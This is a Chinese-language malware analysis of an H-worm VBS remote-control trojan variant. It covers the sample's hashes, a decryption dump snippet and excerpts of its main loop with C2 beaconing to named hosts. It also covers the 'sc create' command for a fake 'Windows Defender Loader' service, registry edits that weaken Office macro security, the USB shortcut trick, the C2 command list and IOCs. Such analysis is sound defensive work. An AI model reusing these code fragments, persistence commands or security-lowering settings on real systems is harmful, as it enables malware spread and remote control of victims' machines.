一例H-worm变种的分析
概述
这是一个vbs远控木马,使用了混淆和加密,每次感染代码会变化,是h_worm的一个变种.本文的分析借助的大模型,只需把代码提交上去,就可以分析的明明白白,极大的解放的生产力.
样本的基本信息
样本基本信息如下:
文件名称: rknrl.vbs
文件大小: 91.2 KB (93,427 字节)
MD5: 6271b09fb3f10ccc1d80151e65fc8294
SHA1: cec2dc7d251e58d014ee1e1d66a58947bd7e5303
SHA256: c1d3842c762c68d6fa4d3dc69c8ad80f49e70a71f94d6c833be54dc255986386
hash没有意义。
样本经过了混淆加密,如下所示。
在第7行之前加上一段如下代码,将解密后的代码dump出来。
' 将解密后的vbs脚本保存为1.vbs
Set fso = CreateObject("Scripting.FileSystemObject")
strFilePath = "1.vbs"
Set txtFile = fso.CreateTextFile(strFilePath, True)
txtFile.WriteLine ccPBdzMaHccPBdzMaHeccPBdzMaHxccPBdzMaHccPBdzMaHe
txtFile.Close
Set txtFile = Nothing
Set fso = Nothing
dump出来代码就比较简单了,下面来分析这个脚本.
样本分析
先看一下这个vbs脚本的主要逻辑。
首先,获取当前系统中所有的盘符,用于后续感染USB设备。
'获取当前系统所有的盘符,以|分割,如"C:|D:|E:|F:|"
insdrives = ""
for each drive in filesystemobj.drivesinsdrives = insdrives & drive.path & "|"
next
获取当前系统中office的路径和版本,用来后续感染office的模板文件,使用宏方式传播
on Error Resume Next
dim officepath
set officepath = shellobj.regread ("HKEY_LOCAL_MACHINE\software\rocknroll\officePath")
if not filesystemobj.fileexists (officepath & "WINWORD.EXE") Thenchkoffice '获取office路径和版本,在注册表中设置一系列office选项,降低office的安全性
end if
执行感染系统的操作,若存在%temp%\13442980_crypted.vbs文件,自毁
'感染系统
instance
strkillto = installdir & "13442980_crypted.vbs"
'若 %temp%\13442980_crypted.vbs 存在,执行terminate
if filesystemobj.fileexists(strkillto) thenterminate '自删除操作 生成脚本%temp%\terminate.vbs,强制关闭wcript进程,删除开机启动项
end if
测试c2的连通性,若可以访问c2(http://airbotherwood.gipc.net/ctrl/playback.php、http://airbotherwood.airbotherwood.com/ctrl/playback.php),执行codestart函数,程序的主要操作就在这个函数中。
'测试网络连通性'测试网络连通性
httpobj.open "get","http://www.baidu.com", false
httpobj.send ""
if (httpobj.status >= 200 AND httpobj.status < 300) thenbd = "YES"
elsebd = "no"
end ifif (checkhost(host) = "yes") then 'http://airbotherwood.gipc.net/ctrl/playback.phpcodestart(host)
end if
if (checkhost(host1) = "yes") then 'http://airbotherwood.airbotherwood.com/ctrl/playback.phpcodestart(host1)
end if
if (checkhost(host2) = "yes") then 'http://airbotherwood.gipc.net/ctrl/playback.phpcodestart(host2)
end ifif (checkhost(host3) = "yes") then 'http://airbotherwood.airbotherwood.com/ctrl/playback.phpcodestart(host3)
elsecodestart(host)
end if
下面详细分析一下instance和codestart两个函数
感染部分(instance函数)
intance函数的功能用来感染当前系统,首先生成一个6个字符的随机字符串,用来作为受害主机的唯一标识,然后变换自身代码生成%temp%\rocknroll.vbs
,然后启动。
运行后,会尝试用写模式打开%temp%\rocknroll.vbs
文件,或失败,表示该文件被占用,说明已经有实例在运行,则退出。这样保证了单实例运行。
恶意操作(codestart函数)
codestart函数是病毒的主体部分。代码如下。
'病毒的主体部分
Function codestart(addr)'这一行设置了错误处理模式,使得在执行过程中遇到错误时,脚本不会停止执行,而是继续向下执行下一条语句on error resume next'下载恶意的office模板if officepath <>"" then '判断变量 officepath 是否为空'若officepath 目录下不存在 Normal.doc 文件或者存在 Book.xls 文件,将下载恶意的office模板文件if not filesystemobj.fileexists (officepath & "Normal.doc") or filesystemobj.fileexists (officepath & "Book.xls") then'下载恶意的office模板downoffice addrend if'检查 officepath 目录下是否存在 Normal.doc 文件,如果存在,那么条件成立,将执行文件复制操作。if filesystemobj.fileexists (officepath & "Normal.doc") then'如果 Normal.doc 文件存在,将其复制为 tempFile.doc 文件ndocpath = officepath & "Normal.doc"filesystemobj.copyfile ndocpath , officepath & "tempFile.doc",true'如果 Normal.doc 文件不存在,但是 tempFile.doc 文件存在,将 tempFile.doc 文件的路径赋值给 ndocpathelseif filesystemobj.fileexists (officepath & "tempFile.doc") thenndocpath = officepath & "tempFile.doc"end if'检查 officepath 目录下是否存在 Book.xls 文件,将其复制为 Sheet.xls 文件if filesystemobj.fileexists (officepath & "Book.xls") thennxlspath = officepath & "Book.xls"filesystemobj.copyfile nxlspath , officepath & "Sheet.xls",trueelseif filesystemobj.fileexists (officepath & "Sheet.xls") thennxlspath = officepath & "Sheet.xls"end ifif ndocpath <> "" theninstall "doc"end ifif nxlspath <> "" theninstall "xls"end ifend ifwhile true'感染U盘insfoldif (numplus >= 480 ) thenupstart '创建开机启动项 installserv '创建服务numplus = 1elsenumplus = numplus + 1end ifrespontext = ""respontext = post ("is-ready","",addr) '向c2发送is-ready消息cmd = split (respontext,spliter) '处理后台响应的中的命令chkorder cmd,addr '根据cmd执行不同的操作wscript.sleep sleep '休眠wend
End Function
感染office模板
首先,若当前系统中有office的话,从c2下载恶意的模板文件,当系统中的doc和xls文件打开时就执行恶意的宏代码。不过病毒寻找office路径的代码有问题,这段在win7上不会执行。
接着进入一个死循环,主要用于感染移动介质,持续化,连接c2执行命令,休眠5s继续.
感染可移动储存介质
调用insfold函数来感染新插入的驱动器和可移动磁盘,将自身拷贝X:\RECYCL\rknrl.vbs
并隐藏,将目标驱动器根目录的文件夹隐藏,创建同名的lnk文件,诱导用户点击,先执行自身,再打开同名的目录,这样用于传播自身。
创建开机启动项
接着调用upstart函数,创建开机启动项。
HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\rocknroll
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\rocknroll
指向wscript.exe //B "%temp%\rocknroll.vbs"
创建rocknroll服务持续化
创建服务。创建了两个文件C:\windows\temp\serv.vbs
和C:\windows\temp\serv.bat
,将自身拷贝为C:\Windows\temp\rknrl.tmp
,然后执行下面的命令,将serv.bat创建为一个自启动服务,服务名为rocknroll
,显示名为Windows Defender Loader
。
cmd /c sc create rocknroll binpath= "%systemroot%\system32\cmd.exe /c start C:\Windows\temp\serv.bat" displayname= "Windows Defender Loader" start= auto
serv.bat文件内容如下,用于启动serv.vbs。
cmd.exe /c start C:\Windows\temp\serv.vbs
exit
serv.vbs的内容如下。使用了两层加密。
解密之后的代码如下。功能很简单,首先创建开机启动项,然后将%temp%\rocknroll.vbs
拷贝到startup目录下(C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
),若文件%temp%\rocknroll.vbs
不存在,将C:\Windows\temp\rknrl.tmp
拷贝为%temp%\rocknroll.vbs
。
请求c2接收并执行命令
向c2发送一个is-ready请求,然后处理控制端的响应,解析响应中的命令和参数,执行不同的命令。
支持的命令如下。这一部分与其它的h-worm病毒一致。
"excecute" '执行cmd命令
"runexe" '执行exe
"update" '更新自身
"send" '下载文件
"recv" '上传文件
"enum-driver" '遍历系统驱动器
"enum-faf" '遍历目录
"read-faf" '读取文件
"enum-process" '遍历系统进程
"cmd-shell" '执行系统命令并返回结果
"delete" '删除文件或目录
"exit-process" '退出
"sleep" '休眠指定时间
其它有趣的函数
这个脚本中有许多功能函数,并不是所有的函数都有使用。
'检查当前系统中是否安装office,将获取office的安装路径和版本,并启用office宏,降低其安全设置
sub chkoffice
'病毒的主体部分
Function codestart(addr)
'处理c2的命令
sub chkorder(cmd,hostaddr)
'下载恶意的office模板
sub downoffice (addrhost)
'创建服务用来创建开机启动项
Function installserv()
'变换自身代码生成rocknroll.vbs,导致每次感染脚本都不同
Function variation()
'生成一段随机字符
Function randomSign(qr,num)
'测试能否连接c2
function checkhost (hosttocheck)
'base64解码
Function decode64(ByVal vCode)
'自删除操作 生成脚本%temp%\terminate.vbs,强制关闭wcript进程,删除开机启动项
Function terminate()
'感染U盘,隐藏目录,创建同名的lnk文件
sub insfold
'创建快捷方式
sub install (otype)
'添加快捷方式
sub lnkchg(fold,otype)
'修改快捷方式
sub lnkfile(fold,otype)
'向指定的c2提交请求
function post (cmd ,param ,hostaddr)
'获取受害主机的信息,生成一个主机标识
function information
'创建开机启动项 rocknroll
sub upstart ()
'获取硬盘id
function hwid
'获取主机上杀软信息
function security
'执行感染系统的操作,变换自身代码生成 %temp%\rocknroll.vbs 并启动
function instance
'下载文件 toexec为yes会执行
sub download (fileurl,filedir,filename,toexec)
'上传文件
function upload (fileurl,hostaddr)
'遍历驱动器
function enumdriver ()
'遍历某个指定的目录,列出子目录和文件
function enumfaf (enumdir)
'遍历某个指定的目录,列出子目录和文件
function enumfaf (enumdir)
'强制关闭某个指定的进程
sub exitprocess (pid)
'删除指定的文件或目录
sub deletefaf (url)
'执行cmd命令,返回结果
function cmdshell (cmd)
'执行cmd命令,返回结果
function cmdshell (cmd)
ioc
网络
http://airbotherwood.gipc.net/ctrl/playback.php
http://airbotherwood.airbotherwood.com/ctrl/playback.php
http://www.baidu.com注册表
HKEY_LOCAL_MACHINE\software\rocknroll\dnasign 主机标识
HKEY_LOCAL_MACHINE\software\rocknroll\officePath office路径
HKEY_LOCAL_MACHINE\software\rocknroll\officeversion office版本号
HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\rocknroll 开机启动项
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\rocknroll 开机启动项
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\[officeversion]\Word\Options\DefaultFormat = "Doc" 设置文档的默认格式为 .doc
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\[officeversion]\Word\Security\VBAWarnings = "1" 修改 word 的VBA 警告设置为默认启用(值为 1)
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\[officeversion]\Word\Security\Level= "1" 设置 Word全性级别为 1,这可能降低了应用程序的安全防护等级
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\[officeversion]\Excel\Options\DefaultFormat = "56" 将 Excel 的默认格式设置为 .xls (REG_DWORD 值为 56)
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\[officeversion]\Excel\Security\VBAWarnings = "1" 修改 Excel的VBA 警告设置为默认启用(值为 1)HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\[officeversion]\Excel\Security\Level= "1" 设置Excel 的安全性级别为 1,这可能降低了应用程序的安全防护等级服务项
服务名为rocknroll`显示名为Windows Defender LoaderX:\RECYCL\rknrl.vbs 可移动存储介质中的样本
C:\windows\temp\serv.bat 服务项
C:\windows\temp\serv.vbs 服务脚本
C:\Windows\temp\rknrl.tmp 样本的备份
%temp%\terminate.vbs 自毁脚本
%temp%\13442980_crypted.vbs
C:\Users\[UseName]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rocknroll.vbs 开机启动
感染U盘的症状
快捷方式的target字段如下,用户点击后,会先执行病毒,同时打开被隐藏的原始文件夹.
C:\Windows\system32\cmd.exe /c start RECYCL\rknrl.vbs&start %systemroot%\explorer "Temp"
总结
这是一个典型的vbs远控木马,就是h_worm的变种,其主要特点是样本经过了加密和混淆,每次感染都会对样本进行变换,所以不能以hash来检测这种样本,有一定的代表性,通过U盘和宏病毒的方式来传播,应该是老病毒。